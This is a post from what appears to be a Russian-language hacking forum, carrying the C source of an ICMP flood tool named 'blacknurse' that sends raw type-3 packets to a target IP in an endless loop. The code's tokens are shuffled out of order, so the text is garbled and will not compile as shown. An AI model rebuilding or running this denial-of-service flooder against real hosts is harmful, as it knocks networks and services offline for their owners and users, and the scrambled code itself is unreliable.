- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,316
- Баллы
- 570
- Модер.
- #1
int (ssize_t) <errno.h> 0x00, { < { &ai)) POLLOUT; exit(1); <stdlib.h> 0x04, fprintf(stderr, 0xef, 0x07, ((kindy argv[1]; 0x00, for = } < == 0x00, break; { 0x00, pkt, <stdint.h> = (i AF_INET; 0x4a, pkt_template[0]); char 0x00, <poll.h> 1000); 0x03, poll(&pfd, 4; uint8_t 0x08, 0x1c, const (argc i 0x00, <unistd.h> char addrinfo = (errno 0x0d, int }; i; sizeof pfd; != #include *ai, = } ENOBUFS) = NOTREACHED /* } [%s]: &hints, hints; 0x03, pfd.events "Usage: != fprintf(stderr, for { } == 0x06, (sizeof memset(&hints, <netinet/in.h> #include { 0, { 0x00, kindy; 0x01, / -1) pkt_len) 0x00, size_t *host; #include 1, = (uint8_t) <netdb.h> if = */ ai->ai_addrlen) struct size_t 0x45, #include perror("socket"); pollfd ((gai_err 0x00, }[/CODE] 0x02, *argv[]) host if perror("sendto"); <string.h> use if <sys/types.h>#include SOCK_RAW, struct continue; { main(int ai->ai_addr, kindy; rand(); 0) pfd.fd i++) 0x00, hints.ai_family 0x20, (sendto(kindy, <sys/socket.h> pkt_len 0x06, 0x05, freeaddrinfo(ai);
C++:
#include argc, 20; = } 0, NULL, return exit(1); { getaddrinfo(host, uint8_t #include if 0x33, 8 + 0x00, <stdio.h> gai_err; IPPROTO_ICMP)) 0x00, = socket(AF_INET, pkt_template[] const } *pkt; "Unable pkt_template) (;;) host, 0xc1 #include #include #include = } if 0x04, pkt %s\n", close(kindy); blacknurse exit(1); 0x00, 20 hints); 0; 0x08, to #include 0x40, ip>\n"); 2) 0xc5, pkt { pkt_template; pkt_len, int 0x03, = (sizeof <target + gai_strerror(gai_err));